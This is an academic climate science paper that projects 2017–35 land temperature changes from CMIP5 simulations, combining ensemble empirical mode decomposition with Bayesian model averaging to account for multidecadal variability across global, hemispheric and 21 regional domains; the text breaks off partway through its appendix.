Near-Term Projections of Global and Regional Land Mean Temperature Changes Considering Both the Secular Trend and Multidecadal Variability
Yajie QI1,2, Zhongwei YAN1,3, Cheng QIAN1,3, Ying SUN4,5
1. CAS Key Laboratory of Regional Climate–Environment for Temperate East Asia, Institute of Atmospheric Physics, Chinese Academy of Sciences (CAS), Beijing 100029;
2. Institute of Urban Meteorology, China Meteorological Administration, Beijing 100089;
3. University of Chinese Academy of Sciences, Beijing 100049;
4. Laboratory for Climate Studies, National Climate Center, China Meteorological Administration, Beijing 100081;
5. Joint Center for Global Change Studies, Beijing Normal University, Beijing 100875
ABSTRACT: Near-term climate projections are needed by policymakers; however, these projections are difficult because internally generated climate variations need to be considered. In this study, temperature change scenarios in the near-term period 2017–35 are projected at global and regional scales based on a refined multi-model ensemble approach that considers both the secular trend (ST) and multidecadal variability (MDV) in the Coupled Model Intercomparison Project Phase 5 (CMIP5) simulations. The ST and MDV components are adaptively extracted from each model simulation by using the ensemble empirical mode decomposition (EEMD) filter, reconstructed via the Bayesian model averaging (BMA) method for the historical period 1901–2005, and validated for 2006–16. In the simulations of the " medium” representative concentration pathways scenario during 2017–35, the MDV-modulated temperature change projected via the refined approach displays an increase of 0.44°C (90% uncertainty range from 0.30 to 0.58°C) for global land, 0.48°C (90% uncertainty range from 0.29 to 0.67°C) for the Northern Hemispheric land (NL), and 0.29°C (90% uncertainty range from 0.23 to 0.35°C) for the Southern Hemispheric land (SL). These increases are smaller than those projected by the conventional arithmetic mean approach. The MDV enhances the ST in 13 of 21 regions across the world. The largest MDV-modulated warming effect (46%) exists in central America. In contrast, the MDV counteracts the ST in NL, SL, and eight other regions, with the largest cooling effect (220%) in Alaska.
Key words: near-term projection     multidecadal variability     multi-model ensemble method     ensemble empirical mode decomposition (EEMD)     Bayesian model averaging (BMA)
1 Introduction

The world is facing increasingly apparent impacts of climate change on ecosystems, human lives, and economic development, so policymakers worldwide need timely and quantitative information on projections of regional climatic changes in the next 10–30 years, as this near-term timescale is important for national medium- and long-term development planning. At this timescale, the magnitudes of internally generated climate variations are comparable to or stronger than the response of the climate system to external forcing (Meehl et al., 2009; Hawkins et al., 2016). Thus, internally generated climate variations should also be considered in the near-term climate projections.

Previous climate change projections usually focused on long-term secular trends (STs) and were based on multiple climate model simulation results that used the approach of arithmetic multi-model ensemble mean (MME), which is the most common technique to cope with multi-model results and was also adopted in the Fifth Assessment Report of the International Panel on Climate Change (IPCC, 2013). However, the MME approach has been thought to be unsuitable for decadal predictions (Meehl et al., 2009; Fu et al., 2011) because internal decadal variability is filtered out when using this method due to the different phases of variations in different models, leaving only an estimate of the forced response signal as commonly adopted in detection and attribution studies (e.g., Bindoff et al., 2013). Thus, internally generated climate variations are not considered in the conventional MME approach.

Multidecadal variability (MDV), which covers seve-ral decades of time in the literature such as 65–70 yr in Schlesinger and Ramankutty (1994), 40–130 yr in Delworth and Mann (2000), and 65–80 yr in Enfield et al. (2001), is believed to at least partly reflect the internal variability of the climate system (Knight et al., 2005; Semenov et al., 2010; DelSole et al., 2011; Wu et al., 2011; Tung and Zhou, 2013; Zhang et al., 2013). MDV in the instrumental record of the land surface air temperature (TAS) can be traced back to the pre-industrial era (Tung and Zhou, 2013) and is likely an internal variability associated with the Atlantic Multidecadal Oscillation (AMO), which is possibly driven by the variability of oceanic thermohaline circulation (Delworth and Mann, 2000; Knight et al., 2005; Sutton and Hodson, 2005; Tung and Zhou, 2013). The Interdecadal Pacific Oscillation (IPO) or Pacific Decadal Oscillation (PDO) has also been suggested to modulate the global mean and regional temperatures on decadal to multidecadal timescales, particularly in the recent “global warming hiatus” period when the IPO switched from a warm phase to a cold phase corresponding to a La Niña-like cooling pattern over the eastern Pacific (e.g., Dai., 2013; Kosaka and Xie, 2016). In addition, the MDV may also be partly modulated by external forcing, notably from anthropogenic aerosol forcing on the climate in North Atlantic (Booth et al., 2012) or on the global climate (Wilcox et al., 2013), although this is still a topic of debate (Zhang et al., 2013). For example, Booth et al. (2012) used the HadGEM2-ES climate model and claimed that the bulk of the MDV in the Atlantic Ocean was forced by anthropogenic factors, such as aerosol forcing; however, Zhang et al. (2013) argued that there were major discrepancies between the simulations from the model used by Booth et al. (2012) and the observations.

The sea surface temperature (SST) changes in multiple oceans have been suggested to be tightly connected and driven by complicated trans-basin mechanisms (Luo et al., 2012; McGregor et al., 2014; Chikamoto et al., 2015; Li et al., 2016; Yao et al., 2017). For example, Luo et al. (2012) showed that the recent rapid warming in the Indian Ocean played an important role in modulating the climate changes in the Pacific Ocean. Li et al. (2016) suggested that the Atlantic Ocean plays a key role in initiating the tropical-wide teleconnection associated with the La Niña-like cooling pattern. As anthropogenic radiative forcing has affected SST changes, this makes the mechanisms of MDV rather complicated. Nevertheless, MDV exists not only in the global mean temperature but also, more profoundly, in regional temperatures (e.g., Schlesinger and Ramankutty, 1994; Zhang et al., 2007; Wu et al., 2011; Tung and Zhou, 2013; Qian, 2016) and reconstructed data (e.g., Zheng et al., 2015; Ge et al., 2017). For instance, Wu et al. (2011) suggested that the rapid warming in the global mean temperature series during the 1980s and 1990s was a result of the concurrence of the upward swing with MDV and a secular warming trend, and the former explained one third of the observed warming. MDV was also found to considerably modulate Northern Hemispheric (Zhang et al., 2007) and regional warming trends (e.g., Qian and Zhou, 2014; Gao et al., 2015; Qian, 2016; Qi et al., 2017). Therefore, changes in the MDV phase in the coming decades may considerably modulate the projected warming trend and should be considered in the near-term projections. In general, if both the ST and MDV are properly considered, we can obtain plausible near-term climate projections.

Statistical models have been proposed that consider MDV in near-term projections via a direct analysis of observations and then empirically extend the projection over the next several decades (Fu et al., 2011; Wei et al., 2015; Wu and Qian, 2015). In terms of numerical model simulations, an initialized decadal climate prediction was developed to simulate the regional climate for 1–30 yr in the future (Meehl and Teng, 2012; Taylor et al., 2012). It was recognized that the effect of initialization was the better phase of internal variability, and the skill of the annual or seasonal mean temperature predictions for the first few years was mainly contributed from the observation-based initialization (Kirtman et al., 2013; Newman, 2013; Wu et al., 2015; Xin et al., 2018). However, initialization is still in its infancy (Kirtman et al., 2013). Other than the uncertainty of individual model simulations, the performance of climate models varies among different timescales of the climate system and across regions. For instance, one model can simulate the ST relatively well; however, its performance in simulating MDV may not necessarily be good (Fu et al., 2011; Qi et al., 2017). A proper multi-model ensemble mean approach is needed to provide near-term future climate change scenarios and uncertainty estimates for practical uses that consider both MDV and STs based on the currently available modeling results. Qi et al. (2017) proposed an “alternative multi-model ensemble mean” (AMME) method for projecting near-term temperature changes. The method maximizes the strengths and minimizes the weaknesses of indivi-dual climate models by considering the capacity of climate models to simulate specific timescale components. It was inspired by Chandler (2013), who proved the validity of such a method from a mathematical point of view. This novel method was found to be skillful when applied to an example in eastern China. However, the method of determining the weights for the multi-model ensemble mean in that study was simple. Some weighting methods have been proposed in the literature, stemming from the belief that the capacities of various climate models are different; thus, these models should not be trusted equally, and some better models should be gi-ven more weight during the process of model combination (e.g., Giorgi and Mearns, 2002; Tebaldi et al., 2004; Schmittner et al., 2005; Chen et al., 2011).

In this study, the weighting method in Qi et al. (2017) is improved by applying the Bayesian model averaging (BMA) approach, which has been found to be able to produce more reliable predictions than other multi-mo-del ensemble techniques (Raftery et al., 2005; Yang et al., 2012). By using this ensemble method (referred to as AMME-BMA) and the Coupled Model Intercomparison Project Phase 5 (CMIP5) simulations, the present study aims to provide a plausible scenario of near-term projections of the changes in TAS during 2017–35 for global, hemispheric, and 21 Giorgi–Francisco land regions across the world (Giorgi and Francisco, 2000) while considering both the ST and the MDV. Although the simulations from CMIP5 are not designed to tie to the observations since their initial conditions are random, the usage of the AMME-BMA approach can be interpreted as a process to mimic “initialization” through selecting the simulations that match the observations. The details of the data and methods used are given in Section 2. Section 3 presents the feasibility of the new method and related results, followed by discussion in Section 4 and a summary in Section 5.

2 Data and methods 2.1 Basic data and pre-processing for specific regions

The observed temperature data for the period 1901–2016 are from the HadCRUT.4.5.0.0 dataset (Morice et al., 2012). The simulated TAS data are from the 34 CMIP5 models listed in Table 1. Most of the models end in 2005, so for the historical period, we use the model data from 1901 to 2005. More details about the simulations can be found at http://www-pcmdi.llnl.gov/. For the future period, we focus on the TAS projection under the “medium” Representative Concentration Pathways (RCP) scenario, i.e., RCP4.5, which corresponds to a radiative forcing of 4.5 W m–2 by 2100. The number of runs differs for different models; thus, to avoid the chance of a model with more runs receiving more weight, the different runs of a model are usually first averaged to a represent single model simulation while making full use of as many members as possible from each model in the ensemble mean procedure. However, in this work, we cannot use the simple average of different runs to represent a single model simulation since the MDV signal could be weakened by using multi-member ensembles with different phases from historical simulations that started from random initial conditions. Therefore, for this study, we consider one ensemble member (“r1i1p1”) from each model. The TAS series of the historical run up to 2005 is concatenated with the series corresponding to the RCP4.5 experiment for 2006–35, as done in other studies (e.g., van Oldenborgh et al., 2013).

Table 1 The CMIP5 models with historical runs and the RCP4.5 emission scenarios included in this study
 Number Model name Organization Resolution 1 ACCESS1.0 CSRIO/BOM, Australia 192 × 145 2 ACCESS1.3 CSRIO/BOM, Australia 192 × 145 3 BCC-CSM1.1 BCC, Beijing, China 128 × 64 4 BCC-CSM1.1(m) BCC, Beijing, China 360 × 160 5 BNU-ESM BNU, Beijing, China 128 × 64 6 CANESM2 CCMA, Victoria, Canada 128 × 64 7 CCSM4 NCAR, Boulder, USA 288 × 192 8 CESM1-BGC NCAR, Boulder, USA 288 × 192 9 CESM1-CAM5 NCAR, Boulder, USA 288 × 192 10 CMCC-CM INGV/CMCC, Italy 480 × 240 11 CMCC-CMS INGV/CMCC, Italy 192 × 96 12 CNRM-CM5 CNRM/CERFACS, France 256 × 128 13 CSIRO-Mk3.6.0 CSIRO/QCCCE, Australia 192 × 96 14 EC-EARTH Europe 320 × 160 15 FGOALS-g2 IAP, Beijing, China 128 × 60 16 GFDL-CM2.1 NOAA/GFDL, USA 144 × 90 17 GFDL-CM3 NOAA/GFDL, USA 144 × 90 18 GFDL-ESM2G NOAA/GFDL, USA 144 × 90 19 GFDL-ESM2M NOAA/GFDL, USA 144 × 90 20 GISS-E2-H NASA/GISS, USA 144 × 90 21 GISS-E2-H-CC NASA/GISS, USA 144 × 90 22 GISS-E2-R NASA/GISS, USA 144 × 90 23 GISS-E2-R-CC NASA/GISS, USA 144 × 90 24 HadCM3 MOHC, Exeter, UK 96 × 73 25 INM-CM4 INM, Moscow, Russia 180 × 120 26 IPSL-CM5A-LR IPSL, Paris, France 96 × 96 27 IPSL-CM5A-MR IPSL, Paris, France 144 × 143 28 IPSL-CM5B-LR IPSL, Paris, France 96 × 96 29 MIROC5 JAMSTEC, Japan 256 × 128 30 MIROC-ESM JAMSTEC, Japan 128 × 64 31 MIROC-ESM-CHEM JAMSTEC, Japan 128 × 64 32 MPI-ESM-LR MPIM, Hamburg, Germany 192 × 96 33 MPI-ESM-MR MPIM, Hamburg, Germany 192 × 96 34 MRI-CGM3 MRI, Tsukuba, Japan 320 × 160

Regional-scale climate information is needed for policy-makers to create targeted engagement and adaptation efforts. Here, the 21 regions defined by Giorgi and Francisco (2000) are used in the analysis (Fig. 1) to provide an overview of the temperature projections from the current models at a regional scale. These Giorgi– Francisco regions have also been used in many other studies, so the present results facilitate comparisons. Since the TAS changes at global or hemispheric scales are known indicators of global climate change, the cases for global land (GL), Northern Hemispheric land (NL), and Southern Hemispheric land (SL) are also analyzed.

 Figure 1 A diagram showing the 21 regions analyzed in this study. The regions are presented by colored boxes according to continent: Australia (red), South America (green), North America (blue), Africa (magenta), Europe (purple), and Asia (black). Giorgi and Francisco (2000) provided the definitions of the regions with latitude and longi-tude information.

The TAS anomalies relative to the 1961–90 mean climatology are calculated for both simulations and observations to diminish the regional biases of individual models. The anomalies from the simulations have various resolutions and are interpolated bilinearly to a 5° × 5° grid to facilitate comparisons with the grid observations. Bilinear interpolation is also used in the IPCC (2013, page 1314) for surface air temperature. Grids without observations in time and space are masked for the model simulations. The area-weighted averages of the annual TAS anomaly series over the land regions are calculated for subsequent analyses.

2.2 Methods

The steps to obtain the AMME-BMA projection are detailed in the Appendix. In brief, the ensemble empiri-cal mode decomposition (EEMD) filter (Huang and Wu, 2008; Wu and Huang, 2009) was used to obtain the ST and MDV components from the observations as well as from the CMIP5 simulations. EEMD is an adaptive method for the analysis of nonlinear and nonstationary data that can be decomposed into a set of quasi-periodic components possessing different timescales from short to long periods and a residual called the nonlinear trend (Wu and Huang, 2009; Qian et al., 2011). The method is different from the Fourier spectra analysis that results in fixed time periods and frequencies. The number of oscillatory components is determined as the integer part of ( ${\rm{lo}}{{\rm{g}}_2}N - 1$ ), where N is the length of the target data. The ST that is extracted adaptively from the data probably reflects the underlying physics better than the linear trend and distinguishes the trend from the fluctuations superimposed upon it (Wu et al., 2011; Qian, 2016). After obtaining the ST and MDV components, we construct the AMME-BMA simulation for the MDV, ST, and the sum of MDV and ST (ST + MDV) (see details in the Appendix) and estimate the future TAS change and its range of uncertainty.

We construct the AMME-BMA models in different land regions for the historical period of 1901–2005 and apply the models to the period 2006–16 for validation by comparing the corresponding parts of the observations. The temperature changes are then projected for 2017–35. We also compare the results with those obtained by the commonly used MME method to mimic a comparison between our results and those from the most recent IPCC report (IPCC, 2013). The MME method gives each climate model equal weight. When using the MME method, how well or how poorly each model performs is overlooked (Flato et al., 2013). In contrast, BMA converts the model ensembles into calibrated and sharp predictive probability density functions (PDFs) (e.g., Raftery et al., 2005; Greene et al., 2006; Furrer et al., 2007; Fraley et al., 2010; Hu et al., 2016). Via BMA, we can obtain a weighted average of the PDFs centered on the individual bias-corrected models. The absolute bias (BI) is used to measure the performance of the AMME-BMA and MME models. The BI is the average of the absolute values of the differences between the observations and the model results over the target period and is defined as:

 ${\rm{BI}} = \frac{{\sum\nolimits_{{{t}} = 1}^{T} {\left| {f_{{t}}^{\rm obs} - f_{{t}}^{\rm model}} \right|} }}{T}.$ (1)

Here, $f_{{t}}^{\rm obs}$ and $f_{{t}}^{\rm model}$ are the observed and model-simulated values, respectively. A small BI indicates that the model performs relatively well.

To measure the importance of MDV relative to the stepwise low-frequency variation in the near-term period (2017–35), we define the ratio (R) as the warming increment induced by MDV divided by that induced by ST + MDV. A larger R indicates a greater dominance of MDV in the long-term climate evolutions.

3 Results 3.1 Evaluation and projection of the ST and MDV for the globe and two hemispheres

The ST, MDV, and ST + MDV time series of the observed annual TAS anomaly over the GL area are shown in Fig. 2. The ST shows a warming tendency from 1901 to 2005, with a warming increment of 0.99°C. This warming is slightly greater than the increment calculated from the linear trend (0.85°C) of the GL series over the same period. MDV enhances the ST from 1910 to the 1930s and from 1980 to 2005, whereas it counteracts the ST from the 1940s to the 1970s. The (ST + MDV) well captures the long-term temperature variations over the past century (Fig. 2), which corresponds to the two accelerations over the GL in the early and late 20th century and one slowdown during the mid-20th century (England et al., 2014; Kosaka and Xie, 2016; Yao et al., 2017). According to Yao et al. (2017), the SST changes in an individual ocean basin have distinct impacts on the GL warming rates between the acceleration and slowdown periods: for the two acceleration periods, the SST warming across all the oceans acted jointly to produce extensive warming over the GL and explained large portions of the GL warming rates and the global mean temperature; for the slowdown period, the compensation effect among the different oceans played an important role, especially for the strong sea surface cooling that occurred in the tropical Pacific (Kosaka and Xie, 2013, 2016; England et al., 2014; Yao et al., 2017).

 Figure 2 The time series of the global mean land surface air temperature (TAS) anomalies (black line, relative to the 1961–90 base period) and the ST (green line) and MDV (blue line) components, together with their combination (ST + MDV), during the period 1901–2005.

Figure 3 shows the AMME-BMA and MME simulations for the MDV, ST, and ST + MDV over the GL. The observed data generally lie in the 5th–95th percentile range of the CMIP5 simulations, implying that the current climate models have the capacity to roughly capture the observed changes. The AMME-BMA results track the observed variations more closely than the MME-based results during both the historical and validation periods (Fig. 3). The BIs of the MDV, ST, and ST + MDV over the GL from the AMME-BMA results are smaller than those from the MME results during the training period, by 83.76%, 98.25%, and 77.37%, respectively (Fig. 4). For the validation period of 2006–16, the MDV, ST, and ST + MDV over the GL from the AMME-BMA simulation also have much smaller BIs than the corresponding results from the MME simulation, by 90.24%, 97.42%, and 43.55%, respectively. Thus, we have more confidence in the AMME-BMA projection of the near-term TAS changes.

 Figure 3 The (a) MDV, (b) ST, and (c) ST + MDV in the global mean land surface air temperature (TAS) anomaly series from 1901 to 2005, compared between the observations (solid black line) and the multi-model ensemble results based on the AMME-BMA approach (solid red line) and the MME approach (solid blue line). The dotted lines are the corresponding components during the validation period 2006–16 and the future period 2017–35. The shaded part denotes the 5th–95th percentile range of the model simulations of MDV, ST, and ST + MDV.

For 2017–35, the MDV over the GL from the AMME-BMA simulation switches to a cooling tendency after reaching its peak around the year 2025 (Fig. 3a), which will thereby partly offset the ST during 2025–35, although the value of the MDV is very small. The AMME-BMA projection of the MDV-modulated GL temperature increase from 2017 to 2035 is 0.44°C; the 90% uncertainty range of which is 0.30°C–0.58°C. In contrast, the MME-based projection displays an increase of 0.57°C (Fig. 3c), which is 0.13°C higher than that of the AMME-BMA projection.

 Figure 4 (a) Box plots of the BI for MDV (1901–2005) in the GL, NL, and SL regions. Each box represents the interquartile range (IQR) and contains 50% of the results of 34 CMIP5 models for a region: the upper edge of the box represents the 75th percentile [upper quartile (UQ)], while the lower edge is the 25th percentile [lower quartile (LQ)]. The horizontal black line within the box is the median. The “+” signs represent outliers [either > (UQ + 1.5 × IQR) or < (LQ – 1.5 × IQR)]. The vertical dashed lines indicate the range of the non-outliers. The blue squares represent the BIs of the MME-based results, and the red circles represent those of the AMME-BMA results for the historical period. (b) and (c) are the same as (a), but for ST and ST + MDV, respectively.
 Figure 5 (a, c, e) are the same as in Fig. 3, but for the Northern Hemispheric land; (b, d, f) are also the same as in Fig. 3, but for the Southern Hemispheric land.

For the NL and SL, the AMME-BMA simulations also result in much smaller BIs than the results of the individual models and the MME in terms of MDV, ST, and ST + MDV (Figs. 4a, b, c) during the historical period. According to the results of the AMME-BMA projections, MDV considerably counteracts the ST in the NL and SL from 2017 to 2035 because it switches to a cooling tendency after the peak around the year 2021/2022 (Fig. 5a). The percentage of the MDV cooling effect is 8.5% for the NL and 5.9% for the SL during 2017–35. The MDV-modulated temperature change in the NL displays a warming increment of approximately 0.48°C (90% uncertainty range from 0.29 to 0.67°C), and that of the SL is approximately 0.29°C (90% uncertainty range from 0.23 to 0.35°C) for the period 2017–35. For comparison, the MME approach produces larger warming increments in both the NL (0.66°C) and the SL (0.47°C) (Fig. 5).

3.2 Evaluation and projection of the ST and MDV for 21 regions

In the observations, strong MDV signals during 1901–2005 exist mostly in the Northern Hemisphere, specifically in Alaska (ALA), Greenland (GRL), Central North America (CNA), Eastern North America (ENA), Northern Europe (NEU), and North Asia (NAS) (Fig. 6a). The observed STs differ among the 21 regions (Fig. 6b): the ST-induced warming increment from 1901 to 2005 reaches up to 2.56°C for Alaska and only 0.45°C for Central America (CAM).

 Figure 6 (a) The MDV in the Giorgi–Francisco regions for 1901–2005 and 2006–35 under RCP4.5. The red curves indicate the AMME-BMA results and the blue curves indicate the MME results. The thin solid black lines show the observed MDV based on the HadCRU4 data. The gray shading shows the 5th–95th percentile range of the multi-model simulations. (b) and (c) are the same as (a), but for ST and ST + MDV, respectively. The axes are colored according to the continents, which are defined in the caption of Fig. 1.

In the model simulations, the observed TAS varia-tions fall within the 5th–95th percentile range of the CMIP5 simulations for most regions (Fig. 6). However, the MDV, ST, and ST + MDV results in the 21 regions from the CMIP5 models have generally larger BIs than those for the globe and the two hemispheres, as previous studies have shown that the biases of the model simulations generally increase with decreasing spatial scale (Masson and Knutti, 2011; Räisänen and Ylhäisi, 2011; Zhang and Yan, 2014). The simulated TAS changes (MDV, ST, and ST + MDV) based on the AMME-BMA method are generally more consistent with the observations than those based on the MME method for both the historical and validation periods, mainly due to the better phases in most regions (Fig. 6). Compared to the results of the MME method, the BIs from the AMME-BMA results decline by more than 27% for MDV, 69% for ST, and 15% for ST + MDV during 1901–2005 among the 21 land regions. For the validation period of 2006–16, the AMME-BMA results also have smaller BIs than those of the MME for a majority of the regions. According to the assessments so far, the AMME-BMA simulations capture the major components of the observations in the 21 regions. Thus, we have more confidence in applying the AMME-BMA approach to the near-term projections of regional TAS changes.

 Figure 7 Box plots of warming increments (ΔT) due to (a) ST and (b) ST + MDV from 2017 to 2035. The blue lines represent the MME-based results and red lines represent the AMME-BMA results.

For the near-term projections, the AMME-BMA results of MDV, ST, and ST + MDV in terms of the temperature anomalies relative to the average of these results for the 30-yr reference period of 1961–90 are also shown in Fig. 6. If only the ST is considered, the regional warming increments from 2017 to 2035 range from 0.14°C [in Central America (CAM)] to 0.86°C in [Central Asia (CAS)]. For comparison, the ST-induced warming increments from the MME projections are larger for most regions, especially Central America (CAM), Central North America (CNA), Eastern North America (ENA), and Alaska (ALA), by up to 0.24°C (Figs. 6b, 7). If both the MDV and ST are considered, the regional warming increments projected by the AMME-BMA from 2017 to 2035 range from 0.18°C (90% uncertainty range from –0.35 to 0.72°C in Alaska) to 0.90°C (90% uncertainty range from 0.66 to 1.15°C in North Asia). Central North America (CNA), Greenland (GRL), Northern Europe (NEU), Sahara (SAH), Central Asia (CAS), Tibet (TIB), and North Asia (NAS) exhibit larger warming increments (above 0.5°C) than elsewhere (Figs. 6c, 7).

 Figure 8 The ratio (R) of the warming increment induced by the MDV to that induced by the sum of MDV and ST for the GL, NL, SL, and the 21 Giorgi–Francisco regions during the near-term period (2017–35).

The contribution of MDV is prominent for the near-term period in Central America (CAM), Central North America (CNA), Eastern North America (ENA), and Alaska (ALA), and the R values are larger than 30% during 2017–35 (Fig. 8). The four regions are all adjacent to the North Atlantic Ocean, where the AMO signal originates. The 50–88-yr oscillation contributed to more than half of the variance of the detrended temperature record in that region and was suggested to be responsible for the 65–70-yr temperature oscillations in many Northern Hemisphere continents (Schlesinger and Ramankutty, 1994). Then, how will this important MDV modulate the secular warming trend in the near-term period in different regions?

According to the AMME-BMA results, MDV enhan-ces the ST in 13 of the land regions for 2017–35, especially in Central North America (CNA), Central America (CAM), and Eastern North America (ENA), as noted above (Fig. 8). The warming enhancement contributed by MDV occurs in Central North America (CNA) (0.18°C or 35%), Central America (CAM) (0.12°C or 46%), and Eastern North America (ENA) (0.14°C or 42%), owing to its upward swing since the 1980s (Figs. 6, 7, 8). The total warming increment induced by the ST + MDV during 2017–35 is 0.52°C (90% uncertainty range from 0.42 to 0.62°C) for Central North America (CNA), 0.26°C (90% uncertainty range from 0.098 to 0.43°C) for Central America (CAM), and 0.33°C (90% uncertainty range from 0.083 to 0.58°C) for Eastern North America (ENA), while the TAS increments induced by the ST are only 0.34, 0.14, and 0.19°C, respectively (Fig. 7).

In contrast, MDV counteracts the ST in 8 regions, including Alaska (ALA), Australia (AUS), Western North America (WNA), the Mediterranean Basin (MED), Southern Africa (SAF), East Asia (EAS), Central Asia (CAS), and Tibet (TIB), for the near-term period, owing to a downward swing of the MDV (Figs. 6, 7, 8). The largest cooling effect (–0.40°C or 220%) of the MDV occurs in Alaska (ALA), with a turning point from a warming tendency to a cooling tendency in the MDV occurring in approximately 2017. The warming increment from ST + MDV in this region is only 0.18°C (90% uncertainty range from –0.35 to 0.72°C) during 2017–35, which is the weakest among all the regions, and that of ST is 0.58°C (Figs. 6, 7, 8). In addition, the second and third largest percentages of the MDV cooling effect exist in East Asia (19%) and Tibet (18%) during 2017–35, with the turning point from a warming tendency to a cooling tendency of the MDV occurring in approximately 2023/24 and 2018/19, respectively, in these two regions (Figs. 6, 7, 8).

4 Discussion

Near-term predictions are constructed in this paper by using the AMME-BMA approach to select models from a probability perspective. An earlier paper (Qi et al., 2017) evaluated the models in terms of MDV by its amplitude and period, not by phase, since historical runs were started from random initial conditions. If a model has an amplitude and period identical to those of the observations and only a phase mismatch, the model would still be suitable for prediction as long as a run could be found that has a phase similar to the observations. However, for practical users of the near-term climate projections who use only the model outputs, it is necessary to choose those runs that match the observed phase. In addition, only a limited number of good performance models were used in the AMME-BMA method, so the cancellation of the MDVs from different models is not as poor as that from the MME approach, which used all models, as indicated in Fig. 3.

Since low-frequency temperature variations over Alaska, especially in the winter season when Alaska is affected very little by solar radiative forcing, are closely linked to the phase changes of the PDO (e.g., Hartmann and Wendler, 2005; Bieniek et al., 2014), the peculiar weak warming in the near-term period in Alaska reported in this study might be a result of phase transition in the IPO from its warm phase to its cold phase around 2000 (Dai, 2013; Kosaka and Xie, 2013; England et al., 2014). This will deserve more regional studies.

In most of the regions analyzed in this study, the multi-model simulations roughly captured the MDV (Figs. 3, 5, 6). However, as noted by previous studies, many models tend to underestimate the inter-basin influence of the Indian and Atlantic Oceans on the Pacific Ocean (Luo et al., 2018), and some models have simulated weaker trends for the acceleration and slowdown periods than the observations (Yao et al., 2017). Although the AMME-BMA approach was used to select models and ensemble with limited models, the projections will have greater confidence if the models are further improved.

5 Summary

In this study, an improved version of the multi-model ensemble analysis of CMIP5 simulations was introduced for near-term climate projections. Compared to the MME method, which mainly results in an estimation of the response of the climate signal to external forcing, this new ensemble approach emphasizes not only the ST but also the MDV. The ST and MDV are extracted from the observations and individual model results over the histori-cal period (1901–2005) via EEMD, and the signals are reconstructed via BMA with observation-based validation. The AMME-BMA method is applied to produce near-term temperature change projections for the global lands, Northern and Southern hemispheric lands, and 21 land regions under the RCP4.5 scenario for the period 2017–35. The main results are summarized as follows.

(1) The AMME-BMA method well captures the ST and MDV components of the observations for both the training and validation periods and is able to reproduce the observed MDV feature for different regions.

(2) The results of the AMME-BMA near-term projections suggest that the MDV in the GL, NL, and SL all switch to a cooling tendency after a peak during 2017–35, although the value of the MDV is very small. The warming increments from the ST + MDV are smaller than those from the conventional MME method. For the 21 land regions, the lowest regional warming increment from ST + MDV occurs in Alaska, while the largest warming increment occurs in North Asia from 2017 to 2035. MDV will enhance the near-future secular warming in 13 land regions due to its upward swing, especia-lly in Central North America, Central America, and Eastern North America, where the impacts of MDV are prominent. Among these regions, Central America will have the greatest MDV-modulated warming effect (46%). In contrast, MDV will counteract the ST in the other 8 land regions, including Alaska, Australia, the Mediterranean Basin, Western North America, Southern Africa, East Asia, Central Asia, and Tibet, due to a downward swing of MDV. Among these regions, Alaska will exhibit the largest cooling effect from MDV due to its turning point in approximately 2017 from an upward to a downward swing, which will markedly slow down the warming trend.

Acknowledgments. The authors thank the reviewers and the Editor for their comments and suggestions to help improve the manuscript. We also thank the Met Office Hadley Center and Climate Research Unit for pro-viding the observed HadCRUT4 data used in this work and the Program for Climate Model Diagnosis and Intercomparison (PCMDI) for collecting and archiving the model data.

Appendix: Steps of the AMME-BMA Projection

A.1 Extracting the ST and MDV using the EEMD filter

White noise at an amplitude of 0.3 times the standard deviation of the target series was added to the target series with an ensemble size of 1000 to execute the EEMD tool. Five (six) oscillatory components and a nonlinear ST can be obtained from an observed series of annual TAS anomaly for the period 1901–2016 (a simulated series for the period 1901–2035). The observed MDV is obtained from the fifth oscillatory component, with two or more extrema during the historical period 1901–2005 and a mean period of approximately 40–100 yr over the different regions analyzed in this study. For the longer time series of the simulations, the combination of the fifth and sixth oscillation components is considered as the MDV.

A.2 Constructing the AMME-BMA projection model

We construct the AMME-BMA model for MDV, ST, and ST + MDV during the training period 1901–2005, validate the model in 2006–16, and make the ensemble projection of TAS changes under the RCP4.5 scenario during 2017–35 by applying the weights from the training period. The BMA weights reflect the contributions of the individual models to the overall predictive skill over the training period. The forecast PDF by BMA is:

 ${\text{p}}\left( {{{y|}}{{{f}}_{\text{1}}},...{f_k}} \right) = \sum\nolimits_{k = 1}^K {{w_k}{g_k}\left( {y|{f_k}} \right)} ,$ (A1)

where ${w_k}$ is the weight of the kth model, and ${g_k}\left( {y|{f_k}} \right)$ is the predictive PDF based on ensemble member ${f_k}$ . The conditional PDF ( ${g_k}\left( {y|{f_k}} \right)$ ) can be approximated by a normal distribution centered at a linear function of the predictor, ${a_k} + {b_k}{f_k}$ . Therefore, the BMA predictive mean is the conditional expectation of y, given the forecast, and can be computed as:

 ${\rm{E}}\left[ {{{y|}}{{{f}}_{\rm{1}}},...{f_k}} \right] = \sum\nolimits_{k = 1}^K {{w_k}\left( {{{\rm a}_k} + {{\rm b}_k}{f_k}} \right)} ,$ (A2)

where ${{{\rm a}}_k}$ and ${{{\rm b}}_k}$ can be calculated by the regression between ${{{f}}_k}$ and y in the training period, and the BMA weight ${{{w}}_k}$ is based on the relative performance of model k in correctly replicating the observed historical changes (MDV or ST) in the surface temperature in the training period 1901–2005. The ${{{w}}_k}$ values are probabilities; thus, they are nonnegative and are assumed to sum to 1. Following the recommendation of Raftery et al. (2005), we used the expectation–maximization (EM) algorithm to obtain the weight ${{{w}}_k}$ for each model. After obtaining ${{{\rm a}}_k}$ , ${{{\rm b}}_k}$ , and ${{{w}}_k}$ , the deterministic BMA model can be determined. More details of the BMA process can be found in Raftery et al. (2005).

A.3 Calculating the warming increment and its uncer- tainty range

To represent the TAS change from 2017 to 2035, we calculate the warming increment induced by the ST, MDV, and the combination. The ST-induced warming increment is defined as:

 ${\rm {Increment}}{_{\rm {ST}}} = {\rm {ST}}\left( {\rm {last}} \right) - {\rm {ST}}\left( {\rm {first}} \right),$ (A3)

where IncrementST indicates the accumulation of long-term warming (Ji et al., 2014), ST(last) is the ST value for the year 2035, and ST(first) is the value for the year 2017 in the ST series. The MDV-induced and MDV-modulated warming increments (IncrementMDV and IncrementST+MDV, respectively) are defined similar to Eq. (4), but for the MDV and ST + MDV series, respectively.

The uncertainty range of the MDV-modulated warming increment via the AMME-BMA model is estimated as follows. First, the 90% prediction interval of ST + MDV (ST, MDV) through the BMA predictive PDF (Raftery et al., 2005; Yang et al., 2012) is obtained. Second, the 95th and 5th percentiles from the first step are used to represent the upper and lower uncertainty limits of the ST + MDV (ST, MDV) in each region and at each time:

